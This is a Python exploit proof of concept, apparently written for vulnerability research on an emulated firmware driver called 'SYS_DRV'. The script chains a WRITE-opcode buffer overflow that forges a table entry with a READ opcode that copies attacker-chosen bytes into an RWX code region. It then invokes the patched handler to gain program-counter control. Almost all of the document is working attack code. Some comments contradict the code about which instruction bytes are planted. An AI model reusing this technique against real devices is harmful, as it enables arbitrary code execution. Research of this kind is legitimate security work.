"""PC CONTROL attempt: use WRITE(0x3103) overflow to craft a state-2 table entry whose content we control, then READ(0x3102) to copy that content to a SYS_DRV CODE address (region is RWX). If the code bytes change to our chosen bytes, that is an arbitrary code patch in a type-1 process -> PC control. Then invoke the patched handler and observe. """ import os,sys,struct sys.path.insert(0,os.path.join(os.path.dirname(__file__),".."));sys.path.insert(0,os.path.dirname(__file__)) import fuzz_sysdrv as F f=F.SysDrvFuzzer(seed=1); c=f.c base=c.rd32(0xE0F3AC); ENT=1100 print("table base=%#x entries 1100B; respect_acl=%s init=%r"%(base,f.respect_acl,f.init_flag)) print("ptr_ok(0x3102,0)=%s (READ dst must be an allowed pointer)"%f.ptr_ok(0x3102,0)) def W(buf,v10,content): c.write(f.req,b"\x00"*0x100) c.wr32(f.req+0,0x3103); c.wr32(f.req+8,buf); c.wr32(f.req+12,0x44C) c.write(buf,b"\x00"*0x2800); c.wr32(buf+0,0); c.wr32(buf+12,0); c.wr32(buf+40,v10) c.write(buf+44,content) # body bytes copied forward from entry0+44 try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None except Exception as e: return e def R(dst,lenf=0x44C): c.write(f.req,b"\x00"*0x100) c.wr32(f.req+0,0x3102); c.wr32(f.req+8,dst); c.wr32(f.req+12,lenf) try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None except Exception as e: return e buf=f.bufs[0] TARGET=0xE0A430 # sub_E0A430, handler for opcode 0x3108 (12552) orig=c.read(TARGET,16) print("\ntarget code %#x original bytes: %s"%(TARGET,orig.hex())) # craft entry1 (base+1100) via overflow from entry0: need entry1[4]=2 (state), entry1[40]=patchlen, # and entry1[0..] = the bytes we want delivered to the code addr. # READ copies entry1[0 .. patchlen+76] to dst. We want dst[0..2]= a Thumb UDF 0xDEFF (undefined) # so executing the patched handler faults with an undef-insn at TARGET (proof our byte ran). # entry1[4..8] is forced to 0x00000002 by the state field; put the meaningful insn at offset 0. CHOSEN=0x00BADA54 # chosen PC target (unmapped -> fault addr proves control) patch = bytearray(b"\x00"*0x60) patch[0:4] = b"\x01\x48\x00\x47" # Thumb: LDR R0,[PC,#4] ; BX R0 (PC+4 reads TARGET+8) patch[8:12] = CHOSEN.to_bytes(4,"little") # TARGET+8 = chosen PC (TARGET+4 is the forced state word) patchlen = 0x40 # build the caller buffer so copied content lands entry1 fields: # byte offset in buf == byte offset from entry0 base (copy src=buf+? ) -- W() writes content at buf+44 -> entry0+44. # Simpler: write the WHOLE buffer region so that entry1 = base+1100 gets our layout. The memcpy copies # from a1(=buf) to v3(=entry0=base) for v10+76 bytes. So buf[k] -> base+k. entry1=base+1100 <- buf[1100..]. # So set buf[1100+4]=2, buf[1100+40]=patchlen, buf[1100+0..]=patch (with buf[1100+4..8] overwritten by state). def Wfull(v10): c.write(f.req,b"\x00"*0x100) c.wr32(f.req+0,0x3103); c.wr32(f.req+8,buf); c.wr32(f.req+12,0x44C) c.write(buf,b"\x00"*0x2800) c.wr32(buf+0,0); c.wr32(buf+12,0); c.wr32(buf+40,v10) # entry0 header for THIS call # entry1 layout at buf+1100: e1=buf+1100 c.write(e1+0, bytes(patch)) # entry1 body (incl our insn at +0) c.wr32(e1+4, 2) # entry1 state = 2 (READ selects it) c.wr32(e1+40, patchlen) # entry1[10] = disclosure length c.wr32(e1+12, 0) # entry1 guard try: c.run_function(F.ENTRY,(f.req,2,0,0),count=4_000_000); return None except Exception as e: return e print("\n-- WRITE call 1: plant entry0[10] big enough to span into entry1 --") need=1100+0x60 # cover entry1 header+body e1=Wfull(need); print(" call1:",e1," entry0[10]=%#x"%c.rd32(base+40)) print("-- WRITE call 2: overflow copies buf (incl crafted entry1) over the table --") e2=Wfull(need); print(" call2:",e2) print(" entry1 state(+%d+4)=%#x entry1[10]=%#x entry1[0:4]=%s"%(ENT,c.rd32(base+1100+4),c.rd32(base+1100+40),c.read(base+1100,4).hex())) print("\n-- READ: dst = CODE %#x (RWX); copies state-2 entry content there --"%TARGET) er=R(TARGET); now=c.read(TARGET,16) print(" read:",er) print(" target code now: %s"%now.hex()) print("\n=== VERDICT ===") print(" code bytes changed:", now!=orig) print(" our insn 0xdefe at target[0:2]:", now[:2]==b"\xfe\xde") if now!=orig: print(" *** ARBITRARY CODE PATCH IN SYS_DRV (type 1, RWX) -> PC CONTROL ***") # trigger: invoke opcode 0x3108 -> calls patched sub_E0A430 -> executes our bytes c.write(f.req,b"\x00"*0x100); c.wr32(f.req,0x3108) for i in range(14,20): c.wr32(f.req+4*i, 0) try: c.run_function(F.ENTRY,(f.req,2,0,0),count=2_000_000); print(" invoke 0x3108 after patch: returned (no fault)") except Exception as e: ff=c.faults[-1] if c.faults else {} print(" invoke 0x3108 after patch -> FAULT:",e," pc=%#x kind=%s"%(ff.get('pc',0),ff.get('kind','?')))